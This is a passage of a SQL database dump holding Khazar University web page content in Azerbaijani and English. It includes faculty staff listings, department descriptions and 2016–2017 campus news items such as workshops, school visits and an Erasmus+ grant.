href=\"mailto:mbashiri@khazar.org\">mbashiri[at]khazar.org</a></p>   <hr><p><strong><a href=\"http://www.khazar.org/files/engineering/images/Sabira_Zeynalova.JPG\"><img style=\"width:150px;height:192px;margin:7px;float:left\" src=\"/files/engineering/images/Sabira_Zeynalova.JPG\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Sabira_Zeynalova.pdf\">Səbirə Zeynalova</a>&nbsp;</strong></p><p>İnşaat mühəndisliyi üzrə magistr (Azərbaycan Memarlıq və İnşaat Universiteti)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p>  <hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Zumrud_Abdulova.pdf\"><img style=\"width:150px;height:200px;margin:7px;float:left\" src=\"/files/engineering/images/Zumrud_Abdulova.jpg\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_Zumrud_Bayramova%202017.pdf\">Zümrüd Bayramova</a></strong></p><p>İnşaat mühəndisliyi üzrə magistr (Azərbaycan Memarlıq və İnşaat Universiteti)  <br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(846,316,'az','Missiyası','Missiyası','<p style=\"text-align:justify\">Biotibbi\r\ntexnologiyalar&nbsp;mühəndisliyi departamentinin&nbsp;əsas məsələsi tələbələrə mühəndis analizi köməyi ilə xəstəliklərin\r\nmexanizmini və insan bədənini&nbsp;tam sistem&nbsp;kimi başa düşməsini öyrətmək&nbsp;və&nbsp;bu bilgilərdən&nbsp;yararlanaraq&nbsp;daha üstün terapevtik strategiyalar,&nbsp;insan\r\nsaglamlığının&nbsp;yaxşılaşması&nbsp;üçün&nbsp;avadanlıq&nbsp;və diaqnostik\r\nvasitələr&nbsp;işləyib hazırlamaqdır.&nbsp;&nbsp; &nbsp; &nbsp;</p>'),(848,309,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<p><strong>Elmi-tədqiqat təsisatları</strong></p>\r\n<p style=\"text-align:justify\">Bizim\r\nmüasir elmi tədqiqatlar üçün nəzərdə tutulmuş təsisatlarımız Neftçilər\r\nkampusunda yerləşir. Bu təsisatlara struktur və material labarotoriyası, elmi tədqiqat\r\nqrupları və kitabxana daxildir.</p>\r\n<p><strong>Struktur və material labaratoriyası</strong></p><p><strong><img src=\"/files/engineering/images/121.JPG\" style=\"border:0px #000000;width:360px;height:236px;vertical-align:baseline\">&nbsp;<img src=\"/files/engineering/images/3213.JPG\" style=\"border:0px #000000;width:360px;height:236px;vertical-align:baseline\"><br></strong></p><p style=\"text-align:justify\">Universitetimizin “Tikinti materiallarının sınaq&nbsp;laboratoriyası”  ən müasir təsisatlardan biri olub həm elmi-tədqiqat\r\nhəm də tədris məqsədi ilə istifadə edilir. Labaratoriyada beton qarışığı, sement və gips kimi\r\ntikinti materiallarının sınağı üçün nəzərdə tutulmuş 10-dan&nbsp;çox əsas avadanlıq\r\nmövcuddur. Bu avadanlıqlar adı çəkilən materialların yumşalma temperaturunu,\r\nxüsusi çəkisini, çökməsini, qranulometrik tərkibini, hermetikliyini və hava tərkibi\r\nkimi müxtəlif xüsusiyyətlərini ölçə bilir.&nbsp;Həmçinin əsas olçmələr üçün tələb\r\nolunan avadanlıqlar mövcuddur. Labaratoriya kampusun zirzəmisində yerləşir və həyətdən\r\ngirişi vardır.</p>'),(849,313,'az','Bizimlə əlaqə','Bizimlə əlaqə','<div><br></div><p> Ünvan:</p><p>Xəzər Universiteti&nbsp;(Neftçilər Korpusu)&nbsp;Məhsəti küçəsi&nbsp;41 Bakı, Azərbaycan  <br></p><p>Tel: &nbsp;051 909 06 22</p><p>E-mail: &nbsp;<a href=\"mailto:r.bayramli@yandex.ru\">r.bayramli@yandex.ru</a><br></p>'),(3171,1873,'az','Karyera Mərkəzinin koordinatoru “Gilan Holdinq”in nümayəndələri ilə görüşdü','2017-ci il fevralın 8-də Xəzər Universiteti Karyera Mərkəzinin koordinatoru Ülviyyə Hüseynova “Gilan Holdinq” şirkətinin Marketinq departamentinin nümayəndələri ilə görüş keçirdi...','<p>2017-ci il fevralın 8-də Xəzər Universiteti Karyera Mərkəzinin koordinatoru\r\nÜlviyyə Hüseynova “Gilan Holdinq” şirkətinin Marketinq departamentinin nümayəndələri\r\nilə görüş keçirdi. Görüş “Gilan Holdinq” şirkəti ilə sıx əməkdaşlıq etmək, TEDx\r\ntədbirində sponsorluq təklifini müzakirə etmək, Karyera Sərgisində yaxından\r\niştirak etmək haqqında idi. Şirkət nümayəndələri bundan sonra sıx əlaqədə\r\nolaraq, müəyyən tədbirlər haqqında əməkdaşlıq təkliflərini dəyərləndirəcəklərinə\r\nsöz verdilər.</p>'),(850,314,'az','Haqqımızda','Haqqımızda',''),(851,572,'en','Program','Program','<p><a href=\"http://www.khazar.org/files/engineering/syllabi/chemical.pdf\">Chemical Engineering</a>&nbsp;(BS program)</p><p><a href=\"http://www.khazar.org/files/pdf/Bachelor_Degree_Program_in_Chemistry_and_Biology_Education.pdf\">The Bachelor Program in Chemistry and Biology Education</a>&nbsp;(BS&nbsp;program)  </p><p><a href=\"http://www.khazar.org/files/pdf/Undegraduate%20programme%20in%20Chemistry%20Education%20(1).doc\">Undegraduate programme in Chemistry Education</a>&nbsp;(BS&nbsp;program)  <a href=\"http://www.khazar.org/files/pdf/Undegraduate%20programme%20in%20Chemistry%20Education%20(1).doc\"></a></p>'),(4569,2705,'en','Scientific-Practical Conference Papers Dedicated to 10th Anniversary of State Migration Service Published','On February 17, 2017, the State Migration Service of the Republic of Azerbaijan and Khazar University jointly published the collection...','<p>On February 17, 2017, the State Migration Service of the Republic of Azerbaijan and Khazar University jointly published the collection of materials from the Scientific-Practical Conference on \"Migration Policy in Azerbaijan: Achievements and Development Perspectives\", dedicated to the 10<sup>th</sup> anniversary of the State Migration Service.</p><p>The collection of materials was published in Khazar University Press and consists of about 30 articles. The editor of this collection and preface author is Professor Hamlet Isakhanli, the founder of Khazar University, Chairman of the Board of Directors and Trustees.</p>'),(1973,1204,'az','Təsisçinin məqaləsi çap olundu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və tədqiqatçı Aytac Paşayeva tərəfindən aparılmış geniş araşdırmanın qısa məzmunu “HERB”...','<p>Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı və tədqiqatçı Aytac\r\nPaşayeva tərəfindən aparılmış geniş araşdırmanın qısa məzmunu “HERB” (<em>Higher Education in Russia and Beyond)</em> elmi\r\njurnalının 2016-cı il yay sayında (№ 2 (8),2016)\r\nnəşr olunmuşdur. Məqalə “Azərbaycanda ali təhsil haqqında qısaca” adlanır və\r\njurnalın 17-18-ci səhifələrində yer almışdır. Müstəqil məqalənin həmmüəllifidir.</p>\r\n<p>Məqaləni bu link\r\nvasitəsilə oxumaq olar:</p>\r\n<p><a href=\"https://herb.hse.ru/data/2016/06/09/1116816162/1HERB_08_view.pdf\">https://herb.hse.ru/data/2016/06/09/1116816162/1HERB_08_view.pdf</a>.</p>\r\n<p>&nbsp;</p>'),(1974,1204,'en','Founder`s Article Published','A summary of the comprehensive  study conducted by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees and the researcher Aytaj Pashayeva...','<p>A summary of the comprehensive&nbsp; study conducted by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees and the researcher Aytaj Pashayeva , was published in the summer 2016 edition of the scientific journal&nbsp;“HERB” (<em>Higher Education in Russia and Beyond</em>) ( no. 2(8), 2016). The article is called “Briefly about Higher Education in Azerbaijan” and it was included on pages 17-18.</p><p>You can read the article at this link:</p><p><a href=\"https://herb.hse.ru/data/2016/06/09/1116816162/1HERB_08_view.pdf\">https://herb.hse.ru/data/2016/06/09/1116816162/1HERB_08_view.pdf</a>.<em></em></p><div><br></div>'),(1975,1205,'az','“Düzgün ünsiyyət qurma yolları və bədən dili” mövzusunda seminar keçirildi','2016-cı il iyunun 12-də  Şəmkir şəhərində “Zəka” Gənclərin İntellektual İnkişaf və Yaradıcılıq Mərkəzinin və Xəzər Psixoloji Xidmət Mərkəzinin birgə təşkilatçılğı ilə “Düzgün ünsiyyət qurma yolları və bədən dili” mövzusunda psixoloji seminar keçirildi.','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">2016-cı il iyunun 12-də &nbsp;Şəmkir şəhərində “Zəka”\r\nGənclərin İntellektual İnkişaf və Yaradıcılıq Mərkəzinin və Xəzər Psixoloji\r\nXidmət Mərkəzinin birgə təşkilatçılğı ilə “Düzgün ünsiyyət qurma yolları və bədən\r\ndili” mövzusunda psixoloji seminar keçirildi. Seminarın mövzusu ilə bağlı\r\niştirakçıları məruzəçi, uzman psixoloq Mələk Kərimova məlumatlandırdı. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Seminarda müəllimlər, valideynlər, şagirdlər,\r\npsixoloqlar aktiv iştirak etdilər və onları maraqlandıran suallar\r\ncavablandırıldı.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:14.5pt;background:white\"\"=\"\">Seminarın\r\nsonunda iştirakçılar sertifikatla təltif olundular.</p>'),(1976,1205,'en','Workshop on “Effective Communication and Body Language”','On June 12, 2016, a psychological workshop coordinated by “Zeka” Youth Center for Intellectual Development and Creativity and Khazar  Psychological Counseling Center  on “Effective Communication and Body Language” was held in Shamkir.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 12,\r\n2016, a psychological workshop coordinated by “Zeka” Youth Center for Intellectual\r\nDevelopment and Creativity and Khazar &nbsp;Psychological Counseling Center &nbsp;on “Effective Communication and Body Language”\r\nwas held in Shamkir. Melek Kerimova, an expert psychologist informed the\r\nparticipants about the workshop. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Teachers,\r\nparents, students, psychologists actively participated in the workshop and\r\ntheir questions were answered. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">At the end\r\nof the workshop, the participants were awarded certificates.&nbsp;</p>'),(1977,1206,'az','Departament müdiri cəbhə bölgəsindəki məktəbləri ziyarət etdi','2016-cı il iyunun 11-i və 12-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri, fəlsəfə doktoru Muxtar Hacızadə cəbhə bölgəsində yerləşən məktəblərdə oldu.','<p>2016-cı il iyunun 11-i\r\nvə 12-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər\r\ndepartamentinin müdiri, fəlsəfə doktoru Muxtar Hacızadə&nbsp;cəbhə bölgəsində yerləşən məktəblərdə\r\noldu. Səfər zamanı M.Hacızadə Ermənistan-Azərbaycan qoşunların təmas xəttinə\r\nyaxın ərazilərdə yerləşən Ağdamın Quzanlı və Bərdənin Xəsilli kənd tam orta məktəblərində\r\ntəhsil alan 9 və 10-cu sinif şagirdləri ilə görüşlər keçirdi. Görüşün məqsədi həmin\r\nməktəblərdə təhsil alan şagirdlərə ali təhsilin önəmini aşılamaq, seçilə biləcək\r\nspesifik ixtisaslar haqqında məlumat vermək, təhsil boyu vaxtın səmərəli\r\nistifadəsini təbliğ etmək, gələcəkdə təhsili xaricdə davam etdirmək haqqında həvəsləndirici\r\nsöhbətlər aparmaq və mövcud təqaüd imkanları ilə bağlı məlumat vermək idi. Tədbirdən\r\nsonra şagirdlərə Xəzər Universitetinin hədiyyəsi olan müxtəlif dərs ləvazimatları\r\nhədiyyə olundu.</p>\r\n<p>Bu səfər Azərbaycan Respublikası\r\nPrezidenti yanında Gənclər Fondunun maliyyə dəstəyi ilə Azərbaycan Britaniya Məzunları\r\nBirliyi (AUKAA) tərəfindən həyata keçirilən “Təhsil üçün əl-ələ” layihəsi çərçivəsində\r\nbaş tutmuşdur. Layihə çərçivəsində seçiləcək şagirdlər Xəzər Universiteti də\r\ndaxil olmaqla, Bakıdakı beş ali təhsil müəssisəsinə tanışlıq məqsədilə baş\r\ntutacaq beş günlük yay düşərgəsinə dəvət olunacaqlar.&nbsp;</p>'),(1978,1206,'en','Department Chair Visits Schools on Front Lines','On June 11-12, 2016, Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, visited schools located in the front-line regions.','<p>On June 11-12, 2016, Dr. Mukhtar Hajizada, Head of\r\nthe Department of Political Science and International Relations at Khazar\r\nUniversity, visited schools located in the front-line regions. He held meetings\r\nwith pupils in the Guzanli Village High School in Aghdam, located near the line\r\nof contact between Armenian and Azerbaijani forces, and with 9th and 10th\r\ngraders in the Khasilli Village High School in Barda. The objective of the\r\nmeetings was to convince pupils of the importance of higher education, inform\r\nthem about specific majors they could choose, teach them about good time\r\nmanagement, encourage them to study abroad in the future and inform them about\r\nscholarship opportunities. After the meeting, he gave students school supplies\r\nas a gift from Khazar University. </p>\r\n<p>This trip was financed by the Youth Foundation of\r\nthe President of the Azerbaijan Republic and was organized by Azerbaijan UK\r\nAlumni Association within the framework of the “Hand to Hand for Education”\r\nprogram. As a continuation of the program, selected pupils will be invited to\r\nBaku for a five-day summer camp to visit Khazar University and four other\r\nhigher education institutions.&nbsp;</p>'),(852,572,'az','Proqram','Proqram','<p><a href=\"http://www.khazar.org/files/engineering/syllabi/chemical.pdf\">Kimya mühəndisliyi</a></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/chemical.pdf\"></a><a href=\"http://www.khazar.org/az/menus/791/kimya_ve_biologiya_muellimliyi_uzre_bakalavr_derecesi_proqrami\">Kimya və Biologiya müəllimliyi üzrə bakalavr dərəcəsi proqramı</a></p><p><a href=\"http://www.khazar.org/az/menus/791/kimya_ve_biologiya_muellimliyi_uzre_bakalavr_derecesi_proqrami\"></a><a href=\"http://www.khazar.org/files/pdf/Undegraduate%20programme%20in%20Chemistry%20Education%20(1).doc\">Kimya üzrə bakalavr dərəcəsi proqramı</a></p>'),(2450,1483,'az','Xəzər Universitetində “Müzey günləri” elan olundu','2016-cı ilin oktyabr ayı Xəzər Universiteti Tarix və arxeologiya departamenti tərəfindən “Müzey günləri” elan edilmişdir. Tarix və arxeologiya departamentinin müdiri Roza Arazova...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2016-cı ilin oktyabr ayı Xəzər Universiteti\r\nTarix və arxeologiya departamenti tərəfindən “Müzey günləri” elan edilmişdir.\r\nTarix və arxeologiya departamentinin müdiri Roza Arazova və müəllimləri\r\nX.Balayev, G.Novruzova, Ü.İbrahimova, N.Yaqublu Azərbaycan Tarixi Müzeyində\r\nekskursiyalar təşkil etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment fakültəsi, Hümanitar\r\nvə sosial elmlər fakültəsi və Təhsil fakültəsinin tələbələri “Azərbaycan tarixi”\r\nfənnin bir dərsini Azərbaycan Tarixi Müzeyində keçdilər. Dərslər tələbələrin\r\nciddi marağına və həvəsinə səbəb oldu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">&nbsp;</p>'),(2451,1483,'en','Museum Days Announced at Khazar University ','The Khazar University Department of History and Archeology announced “Museum Days” during the month of October 2016. Associate Professor Roza Arazova...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white\"\"=\"\">The Khazar University Department of\r\nHistory and Archeology announced “Museum Days” during the month of October\r\n2016. Associate Professor Roza Arazova, Department Chair, and instructors K.\r\nBalayev, G. Novruzova, U. Ibrahimova, and N. Yagublu planned trips to the\r\nAzerbaijani History Museum during the month. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Classes from the School of Economics and\r\nManagement, School of Humanities and Social Sciences, and School of Education\r\nvisited the Azerbaijani History Museum. These trips were beneficial for\r\nstudents’ motivation and development.&nbsp;</p>'),(2443,1477,'en','Fall Holiday Celebrated in Preschool ','On October 23, 2016, Khazar University’s affiliate Dunya School celebrated with an event called “Fall Holiday.” The event was opened with the song “Golden Fall...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On October 23, 2016, Khazar\r\nUniversity’s affiliate Dunya School celebrated with an event called “Fall\r\nHoliday.” The event was opened with the song “Golden Fall,” written by Sevinj\r\nSultanova, director of the music group. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Pupils of the Azerbaijani and\r\nRussian sectors participating in the event learned about the colors of fall,\r\ncharacteristics of this season’s fruits and vegetables and their nutritional\r\nvalue for physical development. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The stage was decorated with fall\r\ncharacters such as Fall Girl, Raindrop, fruits and flowers. The event included\r\npoems in Azerbaijani and Russian, a dance of fruits and vegetables, and medical\r\nadvice from a small “doctor.” </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Meanwhile, the English sector\r\nstudents celebrated Halloween (as “Pumpkin Holiday”). They lit jack-o’-lanterns\r\nand decorated the stage with them. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Students also performed skits\r\ndemonstrating the coming of winter, a winter forest, and the cold. They dressed\r\nup as animals and gave interesting performances. They recited poems in English\r\nand performed dances choreographed by Gizilgul Alimammadova.&nbsp;</p>'),(2081,1277,'en','Khazar University is ERASMUS + Grant Holder again','Khazar University is a grant holder of the ERASMUS Plus Key Action 2 - Capacity Building in Higher Education...','<p>Khazar University is a grant holder of the ERASMUS Plus Key Action 2 -\r\n Capacity Building in Higher Education. The project on Promoting \r\nExcellence in Teaching and Learning in Azerbaijani Universities (PETRA) \r\ninvolves 14 partners from Azerbaijan and Europe with the aim to promote \r\nteaching and learning excellence in Azerbaijan. Specific objectives are \r\n(1) Building Capacity for Developing Teaching and Learning Process to \r\nmeet pedagogical and technological needs and (2) Improving and Providing\r\n Quality Teaching and Learning through innovative technology, promoting \r\nresearch, improving active learning,  and establishing long-term \r\npartnerships with European universities.  </p>\r\n<p>The three-year \r\nproject is designed and developed with close participation of 9 partners\r\n from Azerbaijan and 5 partners from Europe and it has been granted \r\n908.623,00 Euros.  </p><p>The project’s direct beneficiaries are PhD students, researchers and other members of academic staff.  </p>\r\n<p>Among Azerbaijani partners are </p>\r\n<p>1. Khazar University – coordinator </p><p>2. Nakchivan State University  </p><p>3. Ganja State University  </p><p>4. Sumgayit State University  </p><p>5. Baku Slavic University  </p><p>6. Qafqaz University  </p><p>7. Azerbaijan State Pedagogical University   </p><p>8. Azerbaijan University  </p><p>9. Ministry of Education of Azerbaijan Republic  </p>\r\n<p>European Partners:  </p>\r\n<p>1. University of Jyvaskala, Finland   </p><p>2. Central European University, Hungary  </p><p>3. University of Valencia, Spain  </p><p>4. University of Applied Sciences bfi Vienna, Austria  </p><p>5. Gazi University, Turkey  </p>\r\n<p>For more info you can visit following link:   </p><p> https://eacea.ec.europa.eu/sites/eacea-site/files/cbhe_2016_results_by_region.pdf </p>'),(853,307,'az','Haqqında','Haqqında','<p>Departamentin tədqiqat maraqları aşağıdakı sahələrlə bağlıdır:</p><ul><li>Neft kimyası</li><li>Polimerlər (yüksəkmolekullu birləşmələr) kimyası</li><li>Kolloid kimya</li><li>Ekoloji kimya</li></ul><p>Departamentin əməkdaşları tərəfindən aparılan elmi-tədqiqat işləri əsasən yeni və səmərəli səthi-aktiv reagentlərin alınması, öyrənilməsi və tətbiqi üzrə (xüsusilə neft sənayesində) araşdırmaların aparılmasıdır. Bu reagentlər əsasən tərkibində mütəhərrik hidrogen atomu olan ekoloji zərərsiz xammal növlərinin və geniş sənaye istehsalı olan heterotsiklik birləşmələrin iştirakı ilə alınır. Yüksəkmolekullu səthi-aktiv maddələr doymamış alifatik karbon turşuları, heterotsiklik birləşmələr və (qeyri)üzvi əsaslardan sintez olunur. Bu səthi-aktiv maddələrin nəzərdə tutulan tətbiq sahələri neftin yeraltı laylardan çıxarılma dərəcəsinin yüksəldilməsi, neft quyularının qazılması zamanı su axınlarının izolyasiyası, qazıma məhlullarının fiziki-kimyəvi göstəricilərinin yüksəldilməsi və digərləridir.</p>'),(854,304,'az','Müəllim heyəti','Müəllim heyəti','<p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"/files/engineering/images/Rasul_Muradi.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a> - Kimya Mühəndisliyi Departamentinin\r\nkoordinatoru</strong></p>\r\n<p>Kimya mühəndisliyi üzrə fəl. d. (University of Tehran, Iran)\r\n  <br></p><p>Kimya mühəndisliyi üzrə  magistr (Sharif University of Technology, Iran)  <br></p><p><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a>  </p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 6335 (278)&nbsp;</p><hr><p><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"width:150px;height:202px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Hassan%20Niknafs.pdf\">Hassan Niknafs</a></strong> <strong>- Professor</strong></p><p>Hesablama hidrodinamikasi üzrə&nbsp;fəl. d. (The University of Akron, Ohio, USA)</p><p>Mexanika mühəndisliyi üzrə magistr (Youngstown State University, Ohio, USA)&nbsp;</p><p>Kimya Mühəndisliyi üzrə bakalavr, magistr&nbsp;(Shiraz University, former Pahlavi University, Shiraz, Iran)<br></p><p style=\"padding-left:160px\"><strong>E-mail</strong><strong>:&nbsp;</strong><a href=\"mailto:rmoradi@khazar.org\"></a><a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a>  <br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mehdi%20Farrokhi%202017.pdf\"><img src=\"/files/letters/Mehdi_Farrokhi.jpg\" style=\"float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Mehdi Farrokhi</a></strong>&nbsp;</p><p>Kimya proses mühəndisliyi üzrə magistr (Tehran University, Iran)</p><p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:mehdi.farrokhy@gmail.com/\">mehdi.farrokhy[at]gmail.com</a>  <br></p><p><br></p><p><br></p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Monday_O_Michael.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Monday_O.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Monday_O_Michael.pdf\">Monday Obekpa</a></strong></p>\r\n<p>Neft mühəndisliyi üzrə fəl.d. iddiaçısı (Xəzər\r\nUniversiteti, Azərbaycan)</p><p>Sualtı mühəndislik üzrə magistr (University of Aberdeen, United Kingdom)   <br></p>\r\n  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:monday.obekpa@khazar.org\">monday.obekpa[at]khazar.org</a>  <br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Masoud%20Mehrizadeh.pdf\"><img src=\"http://www.khazar.org/files/petroleum_depart/MasoudMehrizadeh1.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Masoud%20Mehrizadeh.pdf\">Masoud Mehrizadeh</a></strong></p><p>Neft mühəndisliyi üzrə doktorant (Xəzər\r\nUniversiteti, Azərbaycan)</p><p>Neft mühəndisliyi üzrə magistr (Sharif University of Technology, Iran)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mmehrizadeh@khazar.org\">mmehrizadeh[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p><hr><strong></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Adil_Abbasov.pdf\"><img src=\"/files/engineering/images/Adil_Abbasov.JPG\" style=\"width:150px;height:182px;margin:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Adil%20Abbasov.pdf\">Adil Abbasov</a></strong><strong>&nbsp;&nbsp;</strong></p><p>Kimya mühəndisliyi üzrə&nbsp;magistr (French Institute of Petroleum, France)&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:adil.abbasov@khazar.org\">adil.abbasov[at]khazar.org</a>  <br></p><p><br></p><p><br></p><hr><p><img src=\"/files/letters/Shirin_Mammadova.JPG\" style=\"border:0px  #000000;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Shirin_Mammadova.pdf\"><strong>Şirin Məmmədova</strong></a><strong></strong></p><p>Kimya üzrə magistr (Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shirin.mammadova@khazar.org\">shirin.mammadova[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p><hr><p><img src=\"/files/engineering/images/Kanan_Shikhaliyev.JPG\" style=\"width:150px;height:187px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_Kanan%20Shikhaliyev.pdf\">Kənan Şıxəliyev</a></strong></p><p>Kimya mühəndisliyi üzrə magistr (Science University of Malaysia, Malaysia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:kshikhaliyev@khazar.org\">kshikhaliyev[at]khazar.org</a>  <br></p><p><br></p><p><br></p> \r\n<hr>  <p><strong><a href=\"http://www.khazar.org/files/engineering/CV_Nazila_Pour_Khalili.pdf\"><img src=\"/files/engineering/images/Nazila__Pour_Khalili.jpg\" style=\"float:left;width:150px;height:197px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nazila&nbsp;Pour Khalili</a></strong></p><p>Doctor of Pharmacy (PharmD) (School of Pharmacy, Iran)</p><p>\r\nPhD candidate in Biochemistry (Khazar University, Azerbaijan)<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:N.Pourkhalili@khazar.org\">N.Pourkhalili[at]khazar.org</a></p><p><strong><br></strong></p><p><br></p>'),(3167,1869,'az','“Xəbər -  News” qrupunun məlumatı','Xəzər Universitetinin “Xəbər - News” qrupu universitetin (www.khazar.org) və Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p>Xəzər Universitetinin “Xəbər\r\n- News” qrupu universitetin (<a href=\"http://www.khazar.org/\">www.khazar.org</a>)  \r\nvə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlının (<a href=\"http://www.hisaxanli.org/\">www.hisaxanli.org</a>)\r\nvebsaytlarında yerləşdirilmiş xəbərlər haqqında müqayisəli məlumat\r\nhazırlamışdır. Onu oxucularımıza<em> </em>təqdim\r\nedirik.</p>\r\n<p><strong>Universitetin vebsaytında (<em>2008- 2015 - ci illər</em>):</strong>\r\n2008 – 97;<em> </em>2009 – 149;<em> </em>2010 – 274;<em> </em>2011 –&nbsp; 357;<em> </em>2012 – 476;<em> </em>2013 – 535;<em> </em>2014 – 610;<em> </em>2015 – 700; 2016 – 547. </p>\r\n<p><strong>Professor Hamlet İsaxanlının vebsaytında (</strong><strong><em>2009 – 2016 - cı illər</em></strong><strong>):</strong> 2009 – 81; 2010 – 125;<em> </em>2011 –&nbsp; 162;<em> </em>2012 – 144;<em> </em>2013 – 156;<em> </em>2014 – 159;<em> </em>2015 –&nbsp;\r\n146; 2016 –&nbsp; 158.<em></em></p>'),(855,255,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\"><img style=\"border:0px  #0000ee;width:150px;height:189px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\" src=\"http://www.khazar.org/files/engineering/images/Mehemmed_Sherifov.png\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Məhəmməd Şərifov</a> - Dosent</strong></p><p><strong>Kompüter Elmləri və Kompüter mühəndisliyi  departamentinin koordinatoru</strong><br><strong></strong></p><p>Kompüter mühəndisliyi üzrə fəlsəfə doktoru   (İnformasiya Texnologiyaları İnstitutu, Azərbaycan Milli Elmlər Akademiyası)  <br></p><p>Avtomatik sistemlərin idarəedilməsi və proqram təminatı üzrə magistr (Azərbaycan Texniki Universiteti)<br></p><p> <strong>Vebsayt: </strong><a href=\"http://www.mahammad.info\">www.mahammad.info</a>;&nbsp;<strong>E-mail:&nbsp;</strong><a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a>&nbsp;</p><p><br></p><hr><p><strong><img 